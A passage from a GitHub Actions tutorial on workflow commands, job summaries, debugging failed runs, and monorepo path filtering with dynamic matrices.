    echo "Token retrieved: $TOKEN"   # Logs: "Token retrieved: ***"
Warning

The mask applies as a simple string replacement. If you mask a short or common value (like true or 1), it will be redacted everywhere it appears in subsequent log lines — including places you did not intend. Mask only values with sufficient entropy.

::stop-commands:: and Resuming

If your script output might accidentally contain strings that look like ::command:: syntax, you can suspend command processing. Pass a unique token to ::stop-commands::, and the runner ignores all workflow commands until it sees that token used to resume.

yaml
- name: Output raw content safely
  run: |
    PAUSE_TOKEN="ghactions-$(uuidgen)"
    echo "::stop-commands::$PAUSE_TOKEN"

    # Everything here is printed literally, even if it contains ::
    cat docs/workflow-examples.md

    echo "::$PAUSE_TOKEN::"   # Resume command processing

::echo::

The ::echo:: command toggles whether workflow commands themselves are printed to the log. By default, the runner processes commands silently — you see the effect but not the ::command:: string. Enabling echo makes the raw command visible, which is helpful for debugging.

yaml
- name: Debug workflow commands
  run: |
    echo "::echo::on"
    echo "::notice::This command will be visible in logs"
    echo "::echo::off"

Complete Workflow Commands Reference

CommandMechanismSyntax
Set outputFileecho "key=value" >> $GITHUB_OUTPUT
Set env varFileecho "KEY=value" >> $GITHUB_ENV
Add to PATHFileecho "/path" >> $GITHUB_PATH
Job summaryFileecho "markdown" >> $GITHUB_STEP_SUMMARY
Debug logStreamecho "::debug::message"
Notice annotationStreamecho "::notice file=f,line=l::msg"
Warning annotationStreamecho "::warning file=f,line=l::msg"
Error annotationStreamecho "::error file=f,line=l::msg"
Group logsStreamecho "::group::Title"echo "::endgroup::"
Mask a valueStreamecho "::add-mask::sensitiveValue"
Stop commandsStreamecho "::stop-commands::token"
Echo toggleStreamecho "::echo::on" / echo "::echo::off"
Tip

The @actions/core Node.js package provides typed wrappers like core.setOutput(), core.exportVariable(), and core.warning() that generate these commands for you. If you are writing a custom JavaScript action, prefer the toolkit over raw echo statements.

Job Summaries: Rich Markdown Output

Every GitHub Actions workflow run has a summary page — that top-level view you see when you click into a run. By default, it shows a timeline of jobs and steps. With Job Summaries, you can inject rich Markdown content directly onto that page: test reports, deployment tables, build artifact links, and more.

The mechanism is simple. GitHub exposes an environment variable called $GITHUB_STEP_SUMMARY that points to a temporary file. Anything you write to that file as Markdown gets rendered on the workflow run summary page. Each step can append its own content, and all contributions are displayed in order.

Writing to the Summary File

You write to $GITHUB_STEP_SUMMARY using standard shell redirection. Use >> to append (which is almost always what you want) or > to overwrite the file entirely. Each step’s output is accumulated, so appending preserves summaries from previous steps.

yaml
- name: Add simple summary
  run: echo "### Build completed successfully 🎉" >> $GITHUB_STEP_SUMMARY

- name: Add multi-line summary
  run: |
    echo "## Test Results" >> $GITHUB_STEP_SUMMARY
    echo "" >> $GITHUB_STEP_SUMMARY
    echo "- **Total**: 142 tests" >> $GITHUB_STEP_SUMMARY
    echo "- **Passed**: 139 ✅" >> $GITHUB_STEP_SUMMARY
    echo "- **Failed**: 3 ❌" >> $GITHUB_STEP_SUMMARY

Using a heredoc is cleaner for multi-line content. It avoids repeated echo commands and keeps the Markdown structure readable inside your workflow file.

yaml
- name: Add summary with heredoc
  run: |
    cat >> $GITHUB_STEP_SUMMARY << 'EOF'
    ## Deployment Summary
    | Environment | Status | URL |
    |-------------|--------|-----|
    | Staging     | ✅ Live | [staging.example.com](https://staging.example.com) |
    | Production  | ⏳ Pending | — |
    EOF
Note

Each job has its own $GITHUB_STEP_SUMMARY file. Summaries from all jobs in a workflow run are concatenated on the summary page. There is a size limit of 1 MiB per step and 1 MiB total per job. Content exceeding the limit is silently truncated.

Supported Markdown Features

Job summaries support GitHub-flavored Markdown (GFM), so you get the full range of formatting you would use in issues or pull request descriptions. Here is a reference of what renders correctly on the summary page.

FeatureMarkdown SyntaxNotes
Headings# H1 through ###### H6Use ## or ### for section structure
Lists- item or 1. itemNested lists supported
TablesPipe-delimited GFM tablesColumn alignment with :---, :---:, ---:
Code blocksTriple backtick fenced blocksSyntax highlighting with language hint
Images![alt](url)Must be publicly accessible URLs
Links[text](url)External URLs and anchors work
Collapsible sections<details> / <summary>Great for verbose output like logs
Emoji:emoji_code: or UnicodeUnicode emoji (✅ ❌ 🚀) are more reliable

Collapsible Sections for Verbose Output

When you have long logs or detailed output, wrap them in a <details> block. This keeps the summary page scannable while still making the full data available on-demand.

yaml
- name: Summarize test failures
  if: failure()
  run: |
    cat >> $GITHUB_STEP_SUMMARY << 'EOF'
    ## ❌ Test Failures

    <details>
    <summary>3 tests failed — click to expand</summary>

    ```
    FAIL src/auth.test.js
      ✕ should reject expired tokens (12ms)
      ✕ should handle malformed JWT (8ms)

    FAIL src/api.test.js
      ✕ should return 404 for unknown routes (3ms)
    ```

    </details>
    EOF

Practical Example: Test Result Summary

A realistic workflow step parses actual test output and builds a formatted summary. Here is a pattern using jq to extract results from a JSON test report and generate a Markdown table.

yaml
- name: Generate test summary
  run: |
    TOTAL=$(jq '.numTotalTests' test-results.json)
    PASSED=$(jq '.numPassedTests' test-results.json)
    FAILED=$(jq '.numFailedTests' test-results.json)
    DURATION=$(jq '.testResults | map(.perfStats.end - .perfStats.start) | add / 1000 | floor' test-results.json)

    cat >> $GITHUB_STEP_SUMMARY << EOF
    ## 🧪 Test Results

    | Metric | Value |
    |--------|-------|
    | Total Tests | $TOTAL |
    | Passed ✅ | $PASSED |
    | Failed ❌ | $FAILED |
    | Duration | ${DURATION}s |

    **Pass Rate**: $(( PASSED * 100 / TOTAL ))%
    EOF

Practical Example: Build Artifact Table

After a build step produces artifacts, list them in the summary so your team can see at a glance what was produced and how large each artifact is.

yaml
- name: Summarize build artifacts
  run: |
    echo "## 📦 Build Artifacts" >> $GITHUB_STEP_SUMMARY
    echo "" >> $GITHUB_STEP_SUMMARY
    echo "| Artifact | Size | SHA256 |" >> $GITHUB_STEP_SUMMARY
    echo "|----------|------|--------|" >> $GITHUB_STEP_SUMMARY
    for file in dist/*.tar.gz; do
      SIZE=$(du -h "$file" | cut -f1)
      HASH=$(sha256sum "$file" | cut -c1-12)
      NAME=$(basename "$file")
      echo "| \`$NAME\` | $SIZE | \`${HASH}…\` |" >> $GITHUB_STEP_SUMMARY
    done

Practical Example: Deployment Summary

After deploying to multiple environments or services, a deployment summary gives instant visibility into what went where.

yaml
- name: Post deployment summary
  run: |
    cat >> $GITHUB_STEP_SUMMARY << EOF
    ## 🚀 Deployment Complete

    | Property | Value |
    |----------|-------|
    | **Environment** | Production |
    | **Version** | \`${{ github.sha }}\` |
    | **Deployed by** | @${{ github.actor }} |
    | **Timestamp** | $(date -u '+%Y-%m-%d %H:%M:%S UTC') |
    | **URL** | [app.example.com](https://app.example.com) |

    ### Services Updated
    - ✅ API Gateway (v2.4.1)
    - ✅ Auth Service (v1.8.0)
    - ✅ Worker Queue (v3.1.2)
    EOF

Clearing a Summary

Occasionally you want to wipe previous summary output — for example, replacing a “build in progress” message with final results. Use > (overwrite) instead of >> (append) to replace the file contents, or write an empty string to clear it entirely.

yaml
# Overwrite with new content (replaces this step's prior output)
- name: Replace summary
  run: echo "## ✅ Final Results" > $GITHUB_STEP_SUMMARY

# Clear summary entirely for this step
- name: Clear summary
  run: echo "" > $GITHUB_STEP_SUMMARY

The @actions/core Summary API for JavaScript Actions

If you are writing a custom JavaScript action (or using actions/github-script), you do not need shell commands. The @actions/core package provides a fluent summary API that builds Markdown programmatically and writes it to $GITHUB_STEP_SUMMARY for you.

javascript
const core = require("@actions/core");

await core.summary
  .addHeading("Test Results 🧪", 2)
  .addTable([
    [
      { data: "Suite", header: true },
      { data: "Tests", header: true },
      { data: "Status", header: true },
    ],
    ["Authentication", "24", "✅ Passed"],
    ["API Routes", "38", "✅ Passed"],
    ["Database", "12", "❌ 2 Failed"],
  ])
  .addSeparator()
  .addLink("View full report", "https://example.com/report")
  .write();

The API is chainable — each method returns the summary instance. The .write() call at the end flushes the accumulated Markdown to the summary file. Here are the most useful methods:

MethodDescriptionExample
.addHeading(text, level)Add a heading (h1–h6).addHeading("Results", 2)
.addTable(rows)Add a table from a 2D arrayFirst row can use { data, header: true }
.addList(items, ordered)Add ordered or unordered list.addList(["a", "b"], false)
.addCodeBlock(code, lang)Add a fenced code block.addCodeBlock("npm test", "bash")
.addImage(src, alt, options)Embed an image.addImage(url, "chart")
.addLink(text, href)Add a hyperlink.addLink("Docs", "https://...")
.addDetails(label, content)Collapsible <details> section.addDetails("Logs", logText)
.addSeparator()Horizontal rule
.addRaw(text)Insert raw Markdown string.addRaw("**bold text**")
.addEOL()Add a newlineUseful between sections
.write()Flush buffer to summary fileAlways call last
.emptyBuffer()Clear the buffer without writingReset and start fresh

Using the Summary API with actions/github-script

You do not need a standalone JavaScript action to use this API. The actions/github-script action gives you access to core directly inside a workflow step.

yaml
- name: Generate rich summary
  uses: actions/github-script@v7
  with:
    script: |
      const passed = 139;
      const failed = 3;
      const total = passed + failed;
      const rate = ((passed / total) * 100).toFixed(1);

      await core.summary
        .addHeading(`Build Report — ${rate}% pass rate`, 2)
        .addTable([
          [{ data: "Metric", header: true }, { data: "Value", header: true }],
          ["Total Tests", `${total}`],
          ["Passed ✅", `${passed}`],
          ["Failed ❌", `${failed}`],
        ])
        .addDetails("Failed test details", [
          "- `src/auth.test.js`: should reject expired tokens",
          "- `src/auth.test.js`: should handle malformed JWT",
          "- `src/api.test.js`: should return 404 for unknown routes",
        ].join("
"))
        .write();
Tip

The .write() method appends by default. Pass { overwrite: true } to replace the entire summary file: await core.summary.addHeading("Fresh start").write({ overwrite: true })

Tips for Effective Summaries

  • Keep it scannable. Lead with a heading and a status emoji (✅ / ❌ / ⚠️). Readers should know the outcome in under two seconds.
  • Use tables for structured data. Test counts, artifact sizes, and deployment targets all read better as tables than as bullet lists.
  • Hide verbose output in <details> blocks. Full logs and stack traces are valuable, but they should not dominate the summary page.
  • Combine summaries across steps. Each step appends to the same file, so you can build a rich composite summary — one step for tests, another for coverage, a third for deployment status.
  • Include links. Link to deployed environments, coverage reports, or artifact download pages so readers can act directly from the summary.

Debugging and Troubleshooting Workflow Failures

When a GitHub Actions workflow fails, the first instinct is to re-run it and hope the problem was transient. Sometimes it is — but when it isn't, you need a systematic approach to find the root cause. This section walks through the debugging tools GitHub provides and the failure patterns you'll encounter most often.

Enabling Debug Logging

By default, GitHub Actions logs show step-level output: the commands you run and their stdout/stderr. This is often not enough. GitHub provides two hidden debug modes that emit far more detail about what the runner and individual actions are doing internally.

To enable them, add these as repository secrets (Settings → Secrets and variables → Actions → New repository secret):

Secret NameValueWhat It Does
ACTIONS_RUNNER_DEBUGtrueEnables runner-level diagnostic logs — shows how the runner resolves actions, sets up the environment, and manages job containers.
ACTIONS_STEP_DEBUGtrueEnables step-level debug output — shows ::debug:: messages emitted by actions themselves, including internal variable resolution and API calls.

Once these secrets exist, every workflow run in the repository will produce verbose output. The extra log lines are prefixed with ::debug:: and appear in a lighter color in the UI.

Warning

Debug logging can expose sensitive environment details in your logs. Remember to delete these secrets once you have finished debugging — especially in public repositories where anyone can read workflow logs.

You can also enable debug logging for a single re-run without creating secrets. In the GitHub UI, click Re-run jobs → check Enable debug logging → confirm. This is the safer approach for one-off debugging sessions.

Reading Workflow Logs

The GitHub Actions UI organizes logs by job and step. Understanding the structure helps you zero in on failures quickly rather than scrolling through thousands of lines.

In the Browser

Navigate to your repository's Actions tab, click the failed workflow run, then click the failed job on the left sidebar. Each step is collapsible — the failed step will be expanded automatically with a red ✕ icon. Timestamps on the left margin help you spot steps that ran unexpectedly long.

Use the search box at the top of the log viewer to filter for keywords like error, denied, or timeout. The gear icon lets you toggle line wrapping and show full timestamps.

Downloading Log Archives

For deeper analysis, download the full log bundle. On the workflow run page, click the gear icon (⚙) in the upper right and select Download log archive. This gives you a ZIP file with one text file per job. You can then use grep, awk, or any text tool to search across all jobs simultaneously.

Using the gh CLI

The GitHub CLI is the fastest way to access logs from your terminal, especially when you need to iterate quickly. Here are the commands you will use most:

bash
# List recent workflow runs (shows run IDs and status)
gh run list --limit 10

# View a specific failed run interactively
gh run view 1234567890

# Download logs for a specific run
gh run view 1234567890 --log

# Download logs and pipe to grep for targeted searching
gh run view 1234567890 --log | grep -i "error\|fail\|denied"

# Re-run failed jobs only (avoids re-running passing jobs)
gh run rerun 1234567890 --failed

The --log flag streams all job logs to stdout, making it ideal for piping into other tools. If you only want logs from a specific job, add --job <job-id> — you can find job IDs from the gh run view output.

Common Failure Patterns

Most workflow failures fall into a handful of recurring categories. Knowing these patterns saves you from debugging from scratch every time.

1. Permission Denied Errors

Permission issues are the most common source of confusion, especially after GitHub tightened the default GITHUB_TOKEN permissions. If you see errors like Resource not accessible by integration or 403 Forbidden, the fix is usually to declare explicit permissions in your workflow.

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    # Declare exactly the permissions this job needs
    permissions:
      contents: read
      packages: write
      id-token: write   # Required for OIDC auth to cloud providers
    steps:
      - uses: actions/checkout@v4
      - run: echo "Now I have the right permissions"

Common permission-related mistakes include: forgetting contents: write when pushing tags or commits, missing pull-requests: write for PR comments, and not setting id-token: write for OIDC-based cloud authentication. When you declare a permissions block, all permissions not listed default to none — so you must explicitly list everything you need.

2. Action Version Issues

Pinning an action to @v3 when @v4 introduced breaking changes — or vice versa — causes subtle failures. The most widespread example was the actions/checkout@v4 and actions/setup-node@v4 upgrades that required Node.js 20, which changed default behaviors.

yaml
# Risky: major tag can shift under you
- uses: some-org/some-action@v2

# Safer: pin to a full SHA for reproducibility
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

When an action suddenly breaks, check its release notes. If you are pinning to a major version tag like @v4, a minor or patch release may have introduced a regression. SHA pinning with a comment noting the version gives you both stability and readability.

3. Network Timeouts and Rate Limits

Workflows that download dependencies, pull Docker images, or call external APIs are vulnerable to transient network failures. You will see errors like ETIMEDOUT, Connection reset by peer, or HTTP 429 Too Many Requests.

Build in retry logic for flaky network steps:

yaml
- name: Install dependencies with retry
  uses: nick-fields/retry@v3
  with:
    timeout_minutes: 10
    max_attempts: 3
    retry_wait_seconds: 30
    command: npm ci

For Docker image pulls, consider caching images or using GitHub's container registry (ghcr.io) which has better connectivity from GitHub-hosted runners. For API rate limits, add explicit waits or use authenticated requests to get higher limits.

4. Secret Masking Issues

GitHub automatically masks secret values in logs — any output matching a secret's value is replaced with ***. This is a security feature, but it can make debugging confusing when you cannot tell what value was actually used. Worse, secrets shorter than 4 characters are not masked at all.

If you need to verify a secret is set (without revealing it), hash it and compare:

yaml
- name: Verify secret is populated
  run: |
    if [ -z "$MY_SECRET" ]; then
      exit 1
    fi
    echo "MY_SECRET SHA256: $(echo -n "$MY_SECRET" | sha256sum | cut -d' ' -f1)"
  env:
    MY_SECRET: ${{ secrets.MY_SECRET }}

Another gotcha: if a secret value appears as a substring in a URL or structured output, masking can mangle the log line and hide useful context around it. When this happens, the downloaded raw logs sometimes retain more structure than the UI view.

5. Checkout Problems with Submodules and LFS

The default actions/checkout performs a shallow clone without submodules and without Git LFS objects. If your build depends on either, you need to opt in explicitly:

yaml
- uses: actions/checkout@v4
  with:
    submodules: recursive    # Clone all nested submodules
    lfs: true                # Pull Git LFS objects
    fetch-depth: 0           # Full history (needed for git describe, changelogs)
    token: ${{ secrets.PAT_WITH_REPO_SCOPE }}  # PAT needed for private submodules

The default GITHUB_TOKEN only has access to the current repository. If your submodules point to other private repos, you must provide a Personal Access Token (PAT) with repo scope via the token input. Without it, the submodule clone fails silently or with a cryptic authentication error.

Tip

Git LFS has bandwidth quotas on GitHub. If your workflow runs frequently and pulls large LFS files, consider caching the LFS objects between runs using actions/cache with the path .git/lfs to avoid hitting limits.

A Systematic Debugging Checklist

When a workflow fails and the cause is not immediately obvious, work through this sequence:

  1. Read the error message carefully

    Expand the failed step in the UI. The actual error is often buried below several lines of output. Look for lines starting with ::error::, Error:, or exit codes.

  2. Check if it is a transient failure

    Re-run the failed job once using Re-run failed jobs (not the full workflow). If it passes, the issue was likely a network timeout or a runner provisioning glitch. If it fails identically, proceed to deeper debugging.

  3. Enable debug logging and re-run

    Use the Enable debug logging checkbox on re-run, or set the repository secrets. Debug output often reveals exactly which API call or file operation failed and why.

  4. Reproduce locally when possible

    Copy the failing run command and execute it in a local environment that matches the runner. Tools like nektos/act can run workflows locally in Docker containers, though they do not replicate every GitHub-hosted runner behavior.

  5. Compare with the last passing run

    Use the workflow run list to find the most recent successful run. Diff the logs against the failing run. Check if any action versions, runner images, or dependencies changed between the two runs.

Note

GitHub retains workflow logs for 90 days by default (configurable down to 1 day in repository settings). If you need long-term log retention for compliance, export logs to an external system using the gh run view --log command or the REST API in a scheduled workflow.

Monorepo Strategies: Path Filtering and Selective Execution

Monorepos consolidate multiple packages, services, or applications into a single repository. While this simplifies dependency management and cross-project refactoring, it creates a CI problem: a change to a single service shouldn't trigger builds and tests for every other service. GitHub Actions provides several mechanisms — from native path filters to community actions to dynamic matrices — that let you run only what's relevant.

flowchart LR
    A["Push Event"] --> B["Detect Changed Paths"]
    B --> C{"Which paths changed?"}
    C -->|"packages/api/**"| D["Build & Test API"]
    C -->|"packages/frontend/**"| E["Build & Test Frontend"]
    C -->|"packages/shared/**"| F["Build & Test Shared"]
    F --> G["Rebuild Dependents"]
    D --> H["Merge Results"]
    E --> H
    G --> H
    H --> I["Report Status"]
    

Native Path Filtering: on.push.paths

GitHub Actions supports path filters directly in the workflow trigger. When you specify paths, the workflow only runs when files matching those patterns change. This is the simplest approach and requires no third-party actions.

yaml
# .github/workflows/api.yml
name: API CI
on:
  push:
    paths:
      - "packages/api/**"
      - "packages/shared/**"   # shared lib used by API
      - ".github/workflows/api.yml"
  pull_request:
    paths:
      - "packages/api/**"
      - "packages/shared/**"

jobs:
  test-api:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: cd packages/api && npm ci && npm test

You can also use paths-ignore to invert the filter — the workflow runs unless only the ignored paths changed. This is handy for skipping runs when only documentation files are updated.

yaml
on:
  push:
    paths-ignore:
      - "docs/**"
      - "**.md"
      - "LICENSE"
Key Limitation of Native Path Filters

Native paths filtering operates at the workflow level, not the job level. When the filter matches, the entire workflow runs — all jobs, all steps. You cannot use on.push.paths to conditionally run individual jobs within a single workflow. For monorepos with many services sharing one workflow file, this means every matched service rebuilds everything. That's where job-level filtering comes in.

Job-Level Path Filtering with dorny/paths-filter

The dorny/paths-filter action solves the per-job problem. It runs as a step in a "detect" job, evaluates which paths changed in the push or pull request, and sets boolean outputs you can use as conditions on downstream jobs. This lets you keep a single workflow file for your entire monorepo while only running the jobs that are actually affected.

yaml
name: Monorepo CI
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  detect-changes:
    runs-on: ubuntu-latest
    outputs:
      api: ${{ steps.filter.outputs.api }}
      frontend: ${{ steps.filter.outputs.frontend }}
      shared: ${{ steps.filter.outputs.shared }}
    steps:
      - uses: actions/checkout@v4
      - uses: dorny/paths-filter@v3
        id: filter
        with:
          filters: |
            api:
              - "packages/api/**"
            frontend:
              - "packages/frontend/**"
            shared:
              - "packages/shared/**"

  build-api:
    needs: detect-changes
    if: needs.detect-changes.outputs.api == 'true' || needs.detect-changes.outputs.shared == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: cd packages/api && npm ci && npm test

  build-frontend:
    needs: detect-changes
    if: needs.detect-changes.outputs.frontend == 'true' || needs.detect-changes.outputs.shared == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: cd packages/frontend && npm ci && npm run build

  build-shared:
    needs: detect-changes
    if: needs.detect-changes.outputs.shared == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: cd packages/shared && npm ci && npm test

Notice how build-api triggers when either the API code or the shared library changes. This models the dependency graph — shared is a dependency of both API and frontend, so changes to it must propagate. Skipped jobs show as "Skipped" in the GitHub UI rather than "Failed", so your required status checks still pass.

Richer Change Detection with tj-actions/changed-files

The tj-actions/changed-files action provides finer control over change detection. Beyond boolean path matching, it gives you the actual list of changed files — added, modified, deleted, renamed — as outputs. This is useful when you need to pass the specific file list to downstream tools like linters or test runners.

yaml
jobs:
  lint-changed:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0  # required for accurate diff

      - name: Get changed TypeScript files
        id: changed
        uses: tj-actions/changed-files@v44
        with:
          files: |
            **/*.ts
            **/*.tsx
          files_ignore: |
            **/*.test.ts
            **/*.spec.ts

      - name: Lint only changed files
        if: steps.changed.outputs.any_changed == 'true'
        run: npx eslint ${{ steps.changed.outputs.all_changed_files }}

Key outputs from tj-actions/changed-files include any_changed (boolean), all_changed_files (space-separated list), added_files, modified_files, and deleted_files. This granularity lets you build workflows that lint only touched files, run tests only for affected modules, or trigger deployments only when specific configuration changes.

FeatureNative pathsdorny/paths-filtertj-actions/changed-files
ScopeWorkflow-level triggerJob-level conditionsJob-level conditions
Output typeTrigger or skip (binary)Boolean per filter groupFile lists + booleans
Lists changed filesNoYes (optional)Yes (primary feature)
Supports workflow_dispatchNoYesYes
Requires fetch-depth: 0NoNo (for PRs)Yes
Best forSeparate workflow per serviceSingle workflow, many servicesFile-level operations (lint, test)

Dynamic Matrix Generation from Changed Packages

When your monorepo has many packages with a uniform structure, maintaining an explicit filter for each one becomes tedious. A better approach is to dynamically discover which packages changed and feed them into a matrix strategy. This scales to any number of packages without editing the workflow file when you add new ones.

The pattern works in two jobs: a "detect" job that produces a JSON array of changed package names, and a "build" job that consumes it via strategy.matrix.

yaml
name: Dynamic Monorepo CI
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  detect-packages:
    runs-on: ubuntu-latest
    outputs:
      packages: ${{ steps.find.outputs.packages }}
      has_changes: ${{ steps.find.outputs.has_changes }}
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Find changed packages
        id: find
        run: |
          if [ "${{ github.event_name }}" = "pull_request" ]; then
            BASE=${{ github.event.pull_request.base.sha }}
          else
            BASE=${{ github.event.before }}
          fi

          # Get unique top-level package dirs that changed
          CHANGED=$(git diff --name-only "$BASE" HEAD \
            | grep '^packages/' \
            | cut -d/ -f2 \
            | sort -u \
            | jq -R -s -c 'split("
") | map(select(length > 0))')

          echo "packages=$CHANGED" >> "$GITHUB_OUTPUT"

          if [ "$CHANGED" = "[]" ]; then
            echo "has_changes=false" >> "$GITHUB_OUTPUT"
          else
            echo "has_changes=true" >> "$GITHUB_OUTPUT"
          fi

          echo "Changed packages: $CHANGED"

  build:
    needs: detect-packages
    if: needs.detect-packages.outputs.has_changes == 'true'
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
      matrix:
        package: ${{ fromJson(needs.detect-packages.outputs.packages) }}
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm
          cache-dependency-path: packages/${{ matrix.package }}/package-lock.json

      - name: Install and test
        run: |
          cd packages/${{ matrix.package }}
          npm ci
          npm test

      - name: Build
        run: |
          cd packages/${{ matrix.package }}
          npm run build
Empty Matrix Gotcha

If fromJson receives an empty array [], the matrix job will fail with an error — GitHub Actions doesn't allow an empty matrix. That's why the example uses a separate has_changes output with an if condition to skip the build job entirely when no packages changed.

Combining Strategies: A Practical Pattern

In production monorepos, you'll often combine these approaches. Use native paths as a coarse-grained gate to avoid spinning up the workflow at all, then use dorny/paths-filter or dynamic matrix generation for fine-grained control inside the workflow. Here's how that layered approach looks:

yaml
name: Monorepo CI (Layered)
on:
  push:
    branches: [main]
    paths:
      - "packages/**"          # Layer 1: skip if only docs/config changed
      - ".github/workflows/**"
  pull_request:
    paths:
      - "packages/**"
      - ".github/workflows/**"

jobs:
  detect:
    runs-on: ubuntu-latest
    outputs:
      api: ${{ steps.filter.outputs.api }}
      frontend: ${{ steps.filter.outputs.frontend }}
    steps:
      - uses: actions/checkout@v4
      - uses: dorny/paths-filter@v3
        id: filter
        with:                   # Layer 2: fine-grained per-job control
          filters: |
            api:
              - "packages/api/**"
              - "packages/shared/**"
            frontend:
              - "packages/frontend/**"
              - "packages/shared/**"

  api-ci:
    needs: detect
    if: needs.detect.outputs.api == 'true'
    uses: ./.github/workflows/reusable-node-ci.yml  # reusable workflow
    with:
      working-directory: packages/api

  frontend-ci:
    needs: detect
    if: needs.detect.outputs.frontend == 'true'
    uses: ./.github/workflows/reusable-node-ci.yml
    with:
      working-directory: packages/frontend

This layered pattern gives you the best of both worlds: native path filtering prevents unnecessary workflow runs entirely (saving runner minutes), while dorny/paths-filter provides granular per-job control within the workflow. Combining this with reusable workflows (via uses) keeps your monorepo CI DRY and maintainable as you add new services.

Tip

If your monorepo uses required status checks on PRs, skipped jobs won't satisfy the check. Use the paths-based ruleset conditions or add a final "summary" job that always runs and depends on the conditional jobs — this way you have a single stable check name for branch protection.

Dynamic Matrices and Fan-Out/Fan-In Patterns

Static matrices are fine when your build targets are fixed, but real-world CI often demands flexibility. You may need to test only the packages that changed, run jobs against a list discovered at runtime, or fan work out across an unpredictable number of parallel jobs and then collect the results. Dynamic matrices and the fan-out/fan-in pattern give you exactly that control.

How Dynamic Matrices Work

A dynamic matrix replaces a hardcoded list of values with a JSON array generated by a preceding job. The pattern has three moving parts: a setup job that computes the matrix values and exposes them as an output, a matrix job that consumes that output via fromJSON(), and the expression syntax that wires them together.

The key expression is matrix: ${{ fromJSON(needs.setup.outputs.matrix) }}. GitHub Actions parses the JSON string back into a proper object, and the matrix strategy fans out a job instance for each combination.

graph LR
    A["Setup Job
Discover targets
Output JSON array"] --> B["Matrix Job 1"]
    A --> C["Matrix Job 2"]
    A --> D["Matrix Job N"]
    B --> E["Aggregate Job
Collect all results"]
    C --> E
    D --> E
    

Example 1: Dynamic Matrix from Changed Files

This is the most common real-world scenario. A monorepo contains multiple packages, and you only want to build and test the ones that actually changed. The setup job uses git diff to discover changed directories, builds a JSON array, and passes it downstream.

yaml
name: Monorepo CI

on:
  push:
    branches: [main]
  pull_request:

jobs:
  detect-changes:
    runs-on: ubuntu-latest
    outputs:
      packages: ${{ steps.find.outputs.packages }}
      has_changes: ${{ steps.find.outputs.has_changes }}
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - id: find
        run: |
          # Find packages with changes compared to the base
          CHANGED=$(git diff --name-only origin/main...HEAD \
            | grep '^packages/' \
            | cut -d/ -f2 \
            | sort -u \
            | jq -R -s -c 'split("
") | map(select(length > 0))')

          echo "packages=$CHANGED" >> "$GITHUB_OUTPUT"

          if [ "$CHANGED" = "[]" ]; then
            echo "has_changes=false" >> "$GITHUB_OUTPUT"
          else
            echo "has_changes=true" >> "$GITHUB_OUTPUT"
          fi

          echo "Detected packages: $CHANGED"

  test:
    needs: detect-changes
    if: needs.detect-changes.outputs.has_changes == 'true'
    runs-on: ubuntu-latest
    strategy:
      matrix:
        package: ${{ fromJSON(needs.detect-changes.outputs.packages) }}
      fail-fast: false
    steps:
      - uses: actions/checkout@v4
      - run: |
          cd packages/${{ matrix.package }}
          npm ci
          npm test

A few things to note here. The fetch-depth: 0 is essential — without a full clone, git diff cannot compare against the base branch. The jq pipeline converts newline-separated directory names into a proper JSON array like ["auth","api","web"]. The has_changes guard prevents the matrix job from failing when the array is empty, because an empty matrix is an error in GitHub Actions.

Empty matrices cause failures

If fromJSON() receives an empty array [], the workflow fails with "Matrix must define at least one vector". Always guard dynamic matrix jobs with an if condition that checks whether values were actually produced.

Example 2: Discovering Targets from the Filesystem

Another powerful pattern is scanning the repository to discover build targets — for example, finding every directory that contains a Dockerfile or every subdirectory with a package.json. This makes your CI self-configuring: add a new service, and CI picks it up automatically.

yaml
jobs:
  discover:
    runs-on: ubuntu-latest
    outputs:
      services: ${{ steps.scan.outputs.services }}
    steps:
      - uses: actions/checkout@v4

      - id: scan
        run: |
          # Find all directories containing a Dockerfile
          SERVICES=$(find services/ -name Dockerfile -maxdepth 2 \
            | xargs -I{} dirname {} \
            | xargs -I{} basename {} \
            | jq -R -s -c 'split("
") | map(select(length > 0))')

          echo "services=$SERVICES" >> "$GITHUB_OUTPUT"

  build:
    needs: discover
    runs-on: ubuntu-latest
    strategy:
      matrix:
        service: ${{ fromJSON(needs.discover.outputs.services) }}
    steps:
      - uses: actions/checkout@v4
      - run: |
          docker build -t myapp/${{ matrix.service }}:${{ github.sha }} \
            services/${{ matrix.service }}/

Multi-Dimensional Dynamic Matrices

You can also output a full matrix object — not just a single array — to dynamically control multiple dimensions at once. This is useful when different targets need different configurations such as a specific Node version or runner type.

yaml
jobs:
  setup:
    runs-on: ubuntu-latest
    outputs:
      matrix: ${{ steps.build-matrix.outputs.matrix }}
    steps:
      - uses: actions/checkout@v4
      - id: build-matrix
        run: |
          # Build a matrix with include entries for fine-grained control
          MATRIX='{"include":[
            {"service":"api",   "node":"20","runner":"ubuntu-latest"},
            {"service":"web",   "node":"22","runner":"ubuntu-latest"},
            {"service":"worker","node":"20","runner":"self-hosted"}
          ]}'
          echo "matrix=$(echo $MATRIX | jq -c .)" >> "$GITHUB_OUTPUT"

  build:
    needs: setup
    runs-on: ${{ matrix.runner }}
    strategy:
      matrix: ${{ fromJSON(needs.setup.outputs.matrix) }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node }}
      - run: |
          cd services/${{ matrix.service }}
          npm ci && npm test
Output size limit

Job outputs are limited to 1 MB per output. For extremely large matrices, consider writing the JSON to an artifact and reading it back, or splitting the work into batches.

Fan-Out/Fan-In: Aggregating Results

Fanning out work is only half the pattern. In most real pipelines, you need a final job that runs after all matrix jobs complete — to publish a combined report, deploy an artifact, or update a status check. This is the fan-in step, and it relies on the needs context to gate execution and collect outcomes.

